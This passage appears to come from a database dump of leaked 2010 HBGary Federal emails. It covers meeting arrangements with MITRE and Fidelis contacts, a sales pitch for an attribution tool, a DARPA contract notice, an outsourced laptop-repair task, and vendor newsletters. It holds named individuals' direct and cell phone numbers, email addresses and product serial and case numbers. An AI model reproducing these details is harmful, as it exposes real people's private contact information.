intro\r\n>\r\n> Thursday the 15th is the better day, how about 2:00?\r\n>\r\n> Ray\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Friday, July 09, 2010 10:03 AM\r\n> To: Dizon, Ray\r\n> Subject: Re: MITRE intro\r\n>\r\n> Sounds good.  How about tuesday or thursday next week?  I work mostly from home right now if I am not traveling, can we meet at the mitre building in Tysons?\r\n>\r\n> Aaron\r\n>\r\n> On Jul 8, 2010, at 12:42 PM, Dizon, Ray wrote:\r\n>\r\n>> David, thanks, see you soon.\r\n>>\r\n>> Aaron,\r\n>>\r\n>> Be happy to catch up with you some time to chat about social media, etc.\r\n>>\r\n>> I\'m open to suggestions on dates/times/venues over the next couple of weeks.  I\'m generally flexible over locations as I drive around enough!\r\n>>\r\n>> Ray\r\n>>\r\n>>\r\n>> Ray Dizon\r\n>> Director, Technology Transfer Office\r\n>> The MITRE Corporation\r\n>> N680\r\n>> 7515 Colshire Drive\r\n>> McLean, VA 22102\r\n>> 703-983-7132\r\n>> rdizon@mitre.org\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>> -----Original Message-----\r\n>> From: David Etue [mailto:david@etue.net]\r\n>> Sent: Thursday, July 08, 2010 9:07 AM\r\n>> To: Aaron Barr; Dizon, Ray\r\n>> Subject: MITRE intro\r\n>>\r\n>> Ray - looking forward to meeting this afternoon.  I wanted to provide a\r\n>> quick intro beforehand to Aaron Barr, who is the CEO of HB Gary\r\n>> Federal.  Aaron and I have looked to do some work together around social\r\n>> media security, and during our discussions he mentioned there was some\r\n>> technology in MITRE around social media that may be available for tech\r\n>> transfer.  I wanted to connect the two to discuss further.\r\n>>\r\n>> Aaron - Ray is the director of MITRE\'s Technology Transfer Office.\r\n>> Before joining MITRE, he was an investor in Fidelis while at the\r\n>> Maryland Venture Fund.  Beyond being the right person to talk to about\r\n>> this particular opportunity, Ray is a great guy to know in the DC tech\r\n>> community.\r\n>>\r\n>> I\'ll let you two connect directly from here.\r\n>>\r\n>> David\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',7912,'aaron_hbgary_com/7912.html'),(8902,'2010-07-20','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297006819.M627482P14101Q3757.eml','\"Copeland, Byron D\" <byron.copeland@dhs.gov>,\"Copeland, Byron D\" <byron.copeland@dhs.gov>','HBGary follow up and FingerPrint tool for Attribution','Hi Byron\r\n \r\nAaron Barr, CEO of HBGary Federal informed me that we have a fingerprint tool for attribution that he would like to present to you with the Threat Management Center that we discussed previously.\r\n \r\nIs there a good time for you to meet with Aaron at your office?\r\n \r\nWill you be attending Black Hat and/or GFirst?\r\n \r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n\r\n',9627,'aaron_hbgary_com/9627.html'),(8903,'2010-07-20','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','/aaron@hbgary.com/new/1297006819.M927228P14101Q3758.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: is this good news for HB Gary?','Probably can\'t--have customer issue that\'s fluid right now. Friday?Sent from my mobile--excuse typos or brevityOn Jul 20, 2010, at 12:39 PM, \"Aaron Barr\" &lt;aaron@hbgary.com&gt; wrote:Can you do lunch in tysons tomorrow?AaronSent from my iPadOn Jul 20, 2010, at 8:01 AM, \"Sullivan, Mary\" &lt;mary.sullivan@fidelissecurity.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nLove to. I’m free—headed to BlackHat myself…\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMary Sullivan\r\n\r\nD 240-396-2446\r\n\r\nM 301-980-1308\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, July 19, 2010 11:12 PM\r\nTo: Sullivan, Mary\r\nSubject: Re: is this good news for HB Gary?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHey Mary,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJust catching up. &nbsp;Do you have time to meet on\r\nWednesday? &nbsp;I am heading on vacation on Thursday - then Blackhat.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 30, 2010, at 3:23 PM, Sullivan, Mary wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat a PITA—you were perfect for that! Their loss….\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThings are good for me; I’m ahead of plan and looking to add two\r\nnew big customers in Q3 that are both in procurement now. Like to get some\r\nmore. Spent some time with Bob at an event last week and planning to meet Penny\r\nnext time she comes to town. Talk to Maria pretty often.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLet’s grab lunch or coffee when you get a chance.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMary Sullivan\r\n\r\n\r\n\r\n\r\n\r\nD 240-396-2446\r\n\r\n\r\n\r\n\r\n\r\nM 301-980-1308\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Wednesday, June 30,\r\n2010 3:19 PM\r\nTo:&nbsp;Sullivan, Mary\r\nSubject:&nbsp;Re: is this good\r\nnews for HB Gary?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYes we were, but unfortunately weren\'t selected. &nbsp;We\r\ngot our debrief yesterday. &nbsp;Came down to onerous data rights because of\r\nexisting technology and not enough of the pi and pm time on contract, which was\r\nme and Greg.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n:(\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHow are things?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 30, 2010, at 1:28 PM, \"Sullivan, Mary\" &lt;mary.sullivan@fidelissecurity.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI think this is one of the ones you were working on?\r\n\r\n&nbsp;\r\n\r\nCYBER GENOME PROGRAM.\r\n\r\nhttp://www.input.com/getopp.cfm?OppID=61006&amp;PrdctCd=PFOIT&amp;fromEmail=3.\r\n\r\n\r\nOppId: 61006 .\r\n\r\nDepartment: DEFENSE / DEFENSE ADVANCED RESEARCH PROJECTS\r\nAGENCY.\r\n\r\nRFP Date: 2010-01-28.\r\n\r\nStatus: Partial Award.\r\n\r\nValue($K): 43000.\r\n\r\nLatest News: The Contracting Office made an award on June\r\n29, 2010 to Lockheed Martin Corporation, under contract # FA8750-10-C0170, for\r\na value of $4,658,267..\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMary Sullivan | Federal Sales Manager | Fidelis Security\r\nSystems, Inc.\r\nD 240-396-2446 | M 301-980-1308 |&nbsp;mary.sullivan@fidelissecurity.com&nbsp;|&nbsp;www.fidelissecurity.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCurious about Fidelis XPS™? Watch video samples here:&nbsp;&nbsp;http://www.youtube.com/fidsecsys.\r\n\r\n\r\n\r\n\r\n\r\n\r\nSee It in Action: Fidelis XPS™&nbsp;Latest Threat Migitation\r\nFeatures\r\n\r\n\r\n\r\n\r\n\r\nRead All About It:&nbsp; Fidelis XPS&nbsp;Prevents Advanced Cyber\r\nThreats\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16606,'aaron_hbgary_com/16606.html'),(8904,'2010-07-20','\"John Edwards\" <John.Edwards@agilex.com>','/aaron@hbgary.com/new/1297006820.M187608P14101Q3759.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Meeting - Finally','Aaron,\r\nI\'m good later this week or next -- let me know what works for you\r\n\r\nOn Jul 15, 2010, at 12:55 AM, Aaron Barr wrote:\r\n\r\n> Hi John,\r\n> \r\n> I have been meeting with some folks lately and your name keeps coming up, so probably a from my side definitely worth getting together and chatting a bit.  Most of it lately has been around your Apple capabilities and a few developers you have.  Probably some larger things that would be worth discussing.\r\n> \r\n> Let me know when you have some time.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\n',11808,'aaron_hbgary_com/11808.html'),(8905,'2010-07-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006820.M518233P14101Q3760.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','True test for minions','I just tasked the following to my minions, I&#39;ll let you know how they do...\r\nHello, I have a Toshiba laptop that was purchased 3 months ago from Best Buy and it requires warranty service. Symptoms include blue-screening and memory errors upon startup. I called in to toshiba tech support a couple of weeks ago and they had me troubleshoot the memory chips. I isolated both chips and the problems continue, so it appears that there is a mainboard problem. I would like to return it for warranty repair. I understand from my previous call to tech support that the repair will take approximately 2 weeks.\r\n\r\nCan you please coordinate for a RMA number and shipping / pickup from my work address?\r\nMake:Toshiba Model:Satellite A505-S6025 Serial number: 3A043758Q\r\nFeel free to contact me via email if you have any questions, or via cell phone if you need to conference me in with Toshiba to complete the task.\r\nThank you! Ted\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',7936,'aaron_hbgary_com/7936.html'),(8906,'2010-07-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006820.M758697P14101Q3761.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Database Attacks, Social Networking Forensics, & Application 	Intelligence - Industry Webinars','Check this out.  We should do webinars sometime:---------- Forwarded message ----------From: ISSA Announcements &lt;announcements@issa.org&gt;\r\nDate: Tue, Jul 20, 2010 at 11:35 AMSubject: Database Attacks, Social Networking Forensics, &amp; Application Intelligence - Industry WebinarsTo: ISSA_Enews@lists.issa.org\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIndustry Webinars\r\n\r\n \r\n\r\nBe\r\nsure to check out the recent and upcoming Industry Webinars. Learn from the\r\nexpert speakers from the vendor community on topics that include:\r\n\r\n \r\n\r\nØ  Application\r\nIntelligence and Control\r\n\r\nØ  Forensics\r\n\r\nØ  Data Loss Prevention\r\n\r\nØ  Preventing Database\r\nAttacks\r\n\r\nØ  Social Networks\r\n\r\nØ  Compliance &amp; Risk\r\nManagement\r\n\r\n \r\n\r\nLive Industry Webinar - July 29, 2010 -\r\nPreventing Database Attacks: Lessons Learned from the Verizon Data Breach\r\nInvestigations Report\r\n\r\nAccording to\r\nrecent Verizon Business Security Solutions forensics research, Web application\r\nattacks are responsible for 79% of breached records because of the trust\r\nrelationship between web applications and back-end databases. In fact attacks\r\nperpetrated by trusted insiders were responsible for the largest number of\r\ncompromised records.\r\n\r\nSponsored by: \r\n\r\n\r\n \r\n\r\nOn\r\nDemand Industry Webinar - Social Networking Forensics\r\n\r\n\r\nThe recent explosion of\r\nsocial media sites has important implications for the business and legal\r\nspheres. It is important for legal and security professionals to understand\r\nwhat new challenges and potential threats might emerge from today’s\r\nsocial networking and media sites. The session focuses on identifying what\r\ninformation is available on social networking sites, understanding how it could\r\nbe of evidentiary value, evaluating identification and preservation strategies,\r\nalong with practical and ethical considerations. \r\n\r\nSponsored by: \r\n\r\n \r\n\r\nOn\r\nDemand Industry Webinar - Reclaim Your Network Bandwidth with\r\nApplication Intelligence and Control \r\n\r\nCompanies of all sizes have now integrated Web 2.0, social networking\r\nand streaming media applications into their organization in some capacity. This\r\nnew technology has proven to be a cost-efficient and highly efficient way of\r\nextending communications, improving collaboration and driving revenue.\r\n\r\nSponsored by: \r\n\r\nThis E-Mail Broadcast, along with all others,\r\nis a benefit of your membership in the ISSA - Information Systems Security\r\nAssociation, Inc. If you wish to be removed from future broadcasts, simply send\r\na message to customercare@issa.org\r\nwith &quot;Remove from E-Mail list&quot; in the subject line. Please note, if\r\nremoved you will miss out on important association updates. For a\r\ncopy of ISSA&#39;s privacy statement and webcast policies, visit: http://www.issa.org/Association/Privacy-Policy.html\r\n\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',12202,'aaron_hbgary_com/12202.html'),(8907,'2010-07-20','\"William Luti\" <wluti@digitalmanagement.com>','/aaron@hbgary.com/new/1297006821.M17620P14101Q3762.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Larry Prior Appointed EVP at BAE','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks and very interesting. \r\n\r\n&nbsp;\r\n\r\nNext we meet on TSA Ken Bajaj wants to meet you so let&#8217;s\r\nset something up for early next week.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, July 20, 2010 12:47 PM\r\nTo: William Luti\r\nSubject: Larry Prior Appointed EVP at BAE\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLarry\r\nPrior Appointed EVP at BAE\r\nLarry Prior has been appointed executive vice president, Service Sectors for\r\nBAE Systems, Inc. The move follows Prior&#8217;s resignation announcement late\r\nyesterday from ManTech. In his new role, Prior will report to Linda Hudson,\r\npresident and CEO of BAE North America. &#8220;Larry&#8217;s fresh perspective,\r\nproven track record, and diverse experience will enable BAE Systems to [...]\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12568,'aaron_hbgary_com/12568.html'),(8908,'2010-07-20','\"The Splunk Team\" <newsletter@splunk.com>','/aaron@hbgary.com/new/1297006821.M261239P14101Q3763.eml','aaron@hbgary.com','Sharing Success: Autodesk, Cisco, VMware and more tell their stories at Splunk\'s Users\' Con','\r\n\r\n \r\n    \r\n   Splunk \r\n    \r\n      body {\r\n      	background-color: #EEEEEE;\r\n      	margin: 0;\r\n      	padding: 0;\r\n      }\r\n      p a {\r\n      	color: #2982A7;\r\n      	text-decoration: none;\r\n      }\r\n      td.permission {\r\n      	padding: 8px 0 8px 0;\r\n      }\r\n      td.date {\r\n      	padding: 0 0 4px 0;\r\n      }\r\n      td.permission p {\r\n      	font-family: Arial;\r\n      	font-size: 11px;\r\n      	font-weight: normal;\r\n      	font-style: italic;\r\n      	color: #151515;\r\n      	text-align: center;\r\n      }\r\n      td.permission a {\r\n      	color: #9f9862;\r\n      	text-decoration: none;\r\n      }\r\n    \r\n      table.bg {\r\n      	background-color: #ffffff;\r\n      }\r\n      table.intro td {\r\n      	height: 10px;\r\n      	border-bottom: 1px solid #eeeeee;\r\n      }\r\n      \r\n       table.header td {\r\n      	height: 10px;\r\n      	border-bottom: 1px solid #d5e0e1;\r\n      	border-top: 10px solid #111;\r\n      }\r\n      \r\n      table.header td p.big {\r\n      font-family:arial;\r\n      font-size:24px;\r\n      font-weight:normal;\r\n      font-style: normal;\r\n      padding:0 115px 0 15px;\r\n      margin-top: 0px;\r\n      }\r\n      \r\n      \r\n      \r\n      table.intro td p {\r\n      	font-family: Arial, Helvetica, sans-serif;\r\n      	font-size: 12px;\r\n      	font-weight: normal;\r\n      	color: #555555;\r\n      	padding:0 15px 0 15px;\r\n      }\r\n   \r\n      table.header td h1 {\r\n      	font-family: \'Futura\', Arial;\r\n      	font-size: 24px;\r\n      	font-weight: normal;\r\n      	color: #9f9862;\r\n      	display: inline;\r\n      	margin: 0 0 0 6px;\r\n      	padding: 0;\r\n      	text-transform: uppercase;\r\n      }\r\n      \r\n      table.header td h2 {\r\n		font-family: Helvetica, Arial, sans-serif;\r\n      	font-size: 28px;\r\n      	font-weight: normal;\r\n      	color: #111111;\r\n      	margin: 0 0 10px 0;\r\n      	padding: 0 0 0 15px;\r\n      	}\r\n      	 table.intro td h2 {\r\n		font-family: Helvetica, Arial, sans-serif;\r\n      	font-size: 28px;\r\n      	font-weight: normal;\r\n      	color: #111111;\r\n      	margin: 0 0 10px 0;\r\n      	padding: 0 0 0 15px;\r\n      	}\r\n      table.header td h3 {\r\n      	font-family: Arial, Arial;\r\n      	font-size: 12px;\r\n      	font-weight: normal;\r\n      	font-style: italic;\r\n      	color: #ffffff;\r\n      	display: inline;\r\n      	margin: 0;\r\n      	padding: 0 0 6px 0;\r\n      }\r\n      td.sidebar {\r\n      	background-color: #fff;\r\n      	padding-top:10px;\r\n      }\r\n      td.sidebar h2 {\r\n      	font-family: Arial;\r\n      	font-size: 16px;\r\n      	font-weight: normal;\r\n      	color: #464646;\r\n      	margin: 0 0 10px 0;\r\n      	border-bottom: 1px solid #CCC;\r\n      	text-transform: uppercase;\r\n      }\r\n      td.sidebar ul {\r\n      	margin: 0 0 20px 24px;\r\n      	padding: 0;\r\n      	font-family: Arial;\r\n      	font-size: 12px;\r\n      	font-weight: normal;\r\n      	color: #313131;\r\n      }\r\n      td.sidebar ul a {\r\n      	font-family: Arial;\r\n      	font-size: 12px;\r\n      	font-weight: normal;\r\n      	color: #085982;\r\n      	text-decoration: none;\r\n      }\r\n      td.sidebar p {\r\n      	font-family: Arial;\r\n      	font-size: 12px;\r\n      	font-weight: normal;\r\n      	color: #555;\r\n      	margin: 0 0 14px 0;\r\n      	padding: 0;\r\n      }\r\n      td.sidespace {\r\n         padding: 20px;\r\n      }\r\n      table.options {\r\n      	border-top: 1px solid #9f9862;\r\n      	border-bottom: 1px solid #9f9862;\r\n      }\r\n      table.options td {\r\n      	padding: 16px 22px 16px 22px;\r\n      }\r\n      td.border {\r\n      	border-bottom: 1px solid #9f9862;\r\n      }\r\n      table.options h3 {\r\n      	font-family: Arial;\r\n      	font-size: 16px;\r\n      	font-weight: normal;\r\n      	color: #9f9862;\r\n      	margin: 0 0 4px 0;\r\n      	padding: 0;\r\n      }\r\n      table.options p {\r\n      	font-family: Arial;\r\n      	font-size: 13px;\r\n      	font-weight: normal;\r\n      	color: #313131;\r\n      	margin: 0;\r\n      	padding: 0;\r\n      }\r\n      table.options p a {\r\n      	color: #313131;\r\n      	text-decoration: none;\r\n      	border: none;\r\n      	margin: 0;\r\n      	padding: 0;\r\n      }\r\n      td.mainbar {\r\n         padding: 20px;\r\n      }\r\n      td.mainbar h2 {\r\n      	font-family: Helvetica, Arial, sans-serif;\r\n      	font-size: 24px;\r\n      	font-weight: normal;\r\n      	color: #090909;\r\n      	margin: 0 0 10px 0;\r\n      	padding: 0;\r\n      }\r\n      td.mainbar h2 a {\r\n      	font-family: Arial;\r\n      	font-size: 20px;\r\n      	font-weight: bold;\r\n      	color: #9f9862;\r\n         text-decoration: none;\r\n      }\r\n      td.mainbar h3 {\r\n      	font-family: Verdana;\r\n      	font-size: 11px;\r\n      	font-weight: normal;\r\n      	color: #333333;\r\n      	text-transform: uppercase;\r\n      	margin: 0 0 8px 0;\r\n      	padding: 0;\r\n      }\r\n      td.mainbar p {\r\n      	font-family: Arial, Helvetica, sans-serif;\r\n      	font-size: 12px;\r\n      	font-weight: normal;\r\n      	color: #555555;\r\n      	margin: 0 0 16px 0;\r\n      	padding: 0;\r\n      }\r\n      td.mainbar p.top {\r\n      	font-family: Verdana;\r\n      	font-size: 10px;\r\n      	font-weight: normal;\r\n      	color: #44a0df;\r\n      	text-transform: uppercase;\r\n      	width: 100%;\r\n      	text-align: right;\r\n      	margin: 14px 0 4px 0;\r\n      	border-top: 1px solid #CCCCCC;\r\n      }\r\n      table.footer {\r\n      	font-family: Arial;\r\n      	font-size: 11px;\r\n      	font-weight: normal;\r\n      	color: #090909;\r\n      	text-align: center;\r\n      }\r\n      table.footer td {\r\n      	height: 88px;\r\n      }\r\n      table.footer span {\r\n      	color: #ffffff;\r\n      }\r\n      table.bgBottom {\r\n         padding: 10px;\r\n      	background-color: #EEE;\r\n      }\r\n    \r\n \r\n\r\n\r\n\r\n\r\nIf you&nbsp;have trouble viewing this email, read the online version. \r\n \r\n \r\n \r\n \r\n   \r\n     \r\n       \r\n         \r\n          \r\n          \r\n        \r\n      \r\n       \r\n         \r\n           \r\n      Best Practices from the Best in IT: Splunk Users&rsquo; Speak at the Inaugural Users&rsquo; Conference \r\n      August 9-11, 2010San Francisco, CA\r\n      		\r\n    \r\n   \r\n \r\n                  \r\n \r\n   \r\n     \r\n       \r\n         \r\n           \r\n            Dear Aaron,            \r\n            Splunk users are so psyched about the way Splunk helps them work smarter and faster, when they heard we were holding our First Worldwide Users&rsquo; Conference, they asked us for the opportunity to share their success stories.\r\n            We were happy to oblige. \r\nCheck out what some of the best and the brightest in IT will share with you at Splunk\'s First Worldwide Users&rsquo; Conference:\r\n            \r\n              Allan Burnett will share how his team deployed Splunk at VMware\r\n              Steve Litras from Autodesk shows how Splunk can provide business value outside of IT\r\n              Narayan Bharadwaj from Salesforce.com presents Splunk for a SaaSy Enterprise\r\n              Get an overview of the Splunk for Cisco app from Kevin Currie and Dave Schwartzburg of Cisco&rsquo;s CSIRT team\r\n             \r\n            \r\n            Smart customers. Great companies. And more than 30 other sessions showing fascinating ways for you to apply Splunk in your environment. Only at Splunk&rsquo;s First Worldwide Users&rsquo; Conference. Register now.\r\n            See you in August!\r\n            \r\n            The Splunk Team\r\n		    \r\n          \r\n        \r\n      \r\n    \r\n    \r\n                 \r\n       \r\n          \r\n  		   What?\r\n  		    \r\n             The First Splunk Worldwide Users&rsquo; Conference\r\n           When?\r\n            \r\n             August 9-11, 2010\r\n              \r\n           Where?\r\n            \r\n             The Palace Hotel\r\n2 New Montgomery Street\r\nSan Francisco, CA 94105\r\n              \r\n           Why?\r\n            \r\n             The Top 5 Reasons to Attend \r\n               Still want more? Check out the session lineup.  \r\n           How?\r\n            \r\n             Register Now                         \r\n            \r\n          \r\n       \r\n         \r\n         \r\n       \r\n    \r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\nTo unsubscribe from future emails or to update your e-mail preferences click here. To forward this email to a friend, click here. Splunk, Inc. | 250 Brannan St. | San Francisco, CA 94107\r\n\r\n\r\n',12169,'aaron_hbgary_com/12169.html'),(8909,'2010-07-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006821.M559211P14101Q3764.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Fwd: TimeSvr: Toshiba','WOW!Begin forwarded message:From: &quot;[TimeSvr] Owais Khan&quot; &lt;owais.k@timesvr.com&gt;\r\nDate: July 20, 2010 12:19:34 PM MDTTo: Ted@HBGary.comSubject: TimeSvr: Toshiba\r\nHi Ted,I called Toshiba&#39;s customer support at 800-457-7777 and spoke to their representative Laurence and asked him about the warranty repair for your Toshiba laptop.He told me that he will be sending you a box at your work address and you need to put your laptop in that box and hand over to the person who brings it.Then you need to call the UPS number and inform them that you have handed over the laptop.The details of the box is given below like case number on the box and your order number so you can have all the details.\r\n\r\nDetails:\r\n\r\nCase No: 100720-002576Order No: T1-1060694\r\n\r\nUPS number :800-742-5877Toshiba Customer No: 800-457-7777\r\n\r\nOriginal Task:\r\n\r\nHello, I have a Toshiba laptop that was purchased 3 months\r\nago from Best Buy and it requires warranty service. Symptoms include\r\nblue-screening and memory errors upon startup. I called in to toshiba\r\ntech support a couple of weeks ago and they had me troubleshoot the\r\nmemory chips. I isolated both chips and the problems continue, so it\r\nappears that there is a mainboard problem. I would like to return it\r\nfor warranty repair. I understand from my previous call to tech support\r\nthat the repair will take approximately 2 weeks.\r\n\r\nCan you please coordinate for a RMA number and shipping / pickup from my work address?  \r\n\r\nMake:Toshiba\r\nModel:Satellite A505-S6025\r\nSerial number: 3A043758Q\r\n\r\nFeel free to contact me via email if you have any questions, or via\r\ncell phone if you need to conference me in with Toshiba to complete the\r\ntask. \r\n\r\nBest,Owais Khan,TimeSvr,415-315-9651,www.TimeSvr.com\r\n\r\n\r\n',2106,'aaron_hbgary_com/2106.html'),(8910,'2010-07-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006821.M791961P14101Q3765.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Fwd: TimeSvr: Toshiba','Simply WOW.  I posted the tasking at 11:48.  Task completed at 12:19.  That damn laptop has been sitting on my desk for two weeks because I didn&#39;t feel like calling tech support again and dealing with their phone tree and sitting on hold.\r\nWow.Ted---------- Forwarded message ----------From: [TimeSvr] Owais Khan &lt;owais.k@timesvr.com&gt;\r\nDate: Tue, Jul 20, 2010 at 12:19 PMSubject: TimeSvr: ToshibaTo: Ted@hbgary.comHi Ted,\r\nI called Toshiba&#39;s customer support at 800-457-7777 and spoke to their representative Laurence and asked him about the warranty repair for your Toshiba laptop.He told me that he will be sending you a box at your work address and you need to put your laptop in that box and hand over to the person who brings it.Then you need to call the UPS number and inform them that you have handed over the laptop.The details of the box is given below like case number on the box and your order number so you can have all the details.\r\n\r\nDetails:\r\n\r\nCase No: 100720-002576Order No: T1-1060694\r\n\r\nUPS number :800-742-5877Toshiba Customer No: 800-457-7777\r\n\r\nOriginal Task:\r\n\r\nHello, I have a Toshiba laptop that was purchased 3 months\r\nago from Best Buy and it requires warranty service. Symptoms include\r\nblue-screening and memory errors upon startup. I called in to toshiba\r\ntech support a couple of weeks ago and they had me troubleshoot the\r\nmemory chips. I isolated both chips and the problems continue, so it\r\nappears that there is a mainboard problem. I would like to return it\r\nfor warranty repair. I understand from my previous call to tech support\r\nthat the repair will take approximately 2 weeks.\r\n\r\nCan you please coordinate for a RMA number and shipping / pickup from my work address?  \r\n\r\nMake:Toshiba\r\nModel:Satellite A505-S6025\r\nSerial number: 3A043758Q\r\n\r\nFeel free to contact me via email if you have any questions, or via\r\ncell phone if you need to conference me in with Toshiba to complete the\r\ntask. \r\n\r\nBest,Owais Khan,TimeSvr,415-315-9651,www.TimeSvr.com\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',197,'aaron_hbgary_com/197.html'),(8911,'2010-07-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006822.M11264P14101Q3766.eml','\"Ted Vera\" <ted@hbgary.com>','Re: TimeSvr: Toshiba','Ok that\'s worth it.Sent from my iPhoneOn Jul 20, 2010, at 2:30 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:Simply WOW. &nbsp;I posted the tasking at 11:48. &nbsp;Task completed at 12:19. &nbsp;That damn laptop has been sitting on my desk for two weeks because I didn\'t feel like calling tech support again and dealing with their phone tree and sitting on hold.\r\nWow.Ted---------- Forwarded message ----------From: [TimeSvr] Owais Khan &lt;owais.k@timesvr.com&gt;\r\nDate: Tue, Jul 20, 2010 at 12:19 PMSubject: TimeSvr: ToshibaTo: Ted@hbgary.comHi Ted,\r\nI called Toshiba\'s customer support at 800-457-7777 and spoke to their representative Laurence and asked him about the warranty repair for your Toshiba laptop.He told me that he will be sending you a box at your work address and you need to put your laptop in that box and hand over to the person who brings it.Then you need to call the UPS number and inform them that you have handed over the laptop.The details of the box is given below like case number on the box and your order number so you can have all the details.\r\n\r\nDetails:\r\n\r\nCase No: 100720-002576Order No: T1-1060694\r\n\r\nUPS number :800-742-5877Toshiba Customer No: 800-457-7777\r\n\r\nOriginal Task:\r\n\r\nHello, I have a Toshiba laptop that was purchased 3 months\r\nago from Best Buy and it requires warranty service. Symptoms include\r\nblue-screening and memory errors upon startup. I called in to toshiba\r\ntech support a couple of weeks ago and they had me troubleshoot the\r\nmemory chips. I isolated both chips and the problems continue, so it\r\nappears that there is a mainboard problem. I would like to return it\r\nfor warranty repair. I understand from my previous call to tech support\r\nthat the repair will take approximately 2 